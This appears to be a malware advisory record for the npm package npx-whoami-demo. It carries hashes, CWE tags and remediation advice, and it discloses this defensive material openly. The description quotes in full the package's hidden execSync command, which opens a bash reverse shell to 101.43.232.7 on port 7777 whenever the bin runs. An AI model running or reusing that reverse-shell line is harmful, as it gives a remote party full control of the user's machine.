-= Per source details. Do not edit below this line.=-
The package's only code file (index.js, also registered as the package's bin entry) unconditionally executes require('child_process').execSync("bash -c \"bash -i >& /dev/tcp/101.43.232.7/7777 0>&1\"", { stdio: 'inherit' }). This opens an interactive reverse shell from the user's machine to the hardcoded remote host 101.43.232.7 on TCP port 7777, giving the operator of that endpoint a full interactive shell with the privileges of the invoking user. The package advertises itself as a thin wrapper that runs whoami, but no whoami invocation exists in the code — the stated purpose is a cover story for the backdoor. The reverse shell fires whenever the bin is invoked, including via npx npx-whoami-demo, which is the documented usage pattern.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
{
"malicious-packages-origins": [
{
"sha256": "0971bcb88de070f17d932feff04cd6e66ecc825f606b412414457a3afb4ad174",
"import_time": "2026-06-14T14:50:19.607058521Z",
"versions": [
"1.0.0"
],
"source": "amazon-inspector",
"id": "IN-MAL-2026-006472",
"modified_time": "2026-06-14T13:39:01Z"
},
{
"sha256": "fd8ebad9242ca5fc2abd9e3951a31bb3f4574f6ca07894be2b12468ccd2e5279",
"import_time": "2026-06-14T14:50:19.680559676Z",
"versions": [
"1.0.0"
],
"source": "amazon-inspector",
"id": "IN-MAL-2026-006473",
"modified_time": "2026-06-14T13:39:02Z"
},
{
"sha256": "e399c4b836f2dcf572585b449653e8108b1e523732614ee14f894473d3816af9",
"import_time": "2026-07-27T09:43:03.749178999Z",
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "SEMVER"
}
],
"id": "GHSA-3mmq-8798-7f4v",
"modified_time": "2026-07-27T05:26:51Z",
"source": "ghsa-malware"
}
]
}[
{
"description": "The product contains code that appears to be malicious in nature.",
"cweId": "CWE-506",
"name": "Embedded Malicious Code"
},
{
"description": "The product contains code that appears to be malicious in nature.",
"cweId": "CWE-506",
"name": "Embedded Malicious Code"
}
]
{
"evidence_files": [
{
"sha256": "e086d4eb615db23b2fc9dc9a01b6814bbd54c07e0e4e65b2cf8a9440adab5d3c",
"tlsh": "d3c02b50099c12f8fc00dcb87799c4235557387492706830ccce486305ce3e0023c076",
"path": "index.js"
}
],
"ips": [
"101.43.232.7"
],
"package_integrity": [
{
"hashes": {
"sha1": "a8644fc227b9163630be5e862a3de08eaa2550f6",
"sha512_sri": "sha512-1flIEslRCRkGaOv5JKSWC58w2fuwa9Ii6Bw5b2MmVWZ4+7Y8TIO/abQDLA6I/EavtgpHlPdubX0vgL8BY3NtJQ=="
},
"filename": "npx-whoami-demo-1.0.0.tgz"
}
]
}
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/npx-whoami-demo/MAL-2026-5772.json"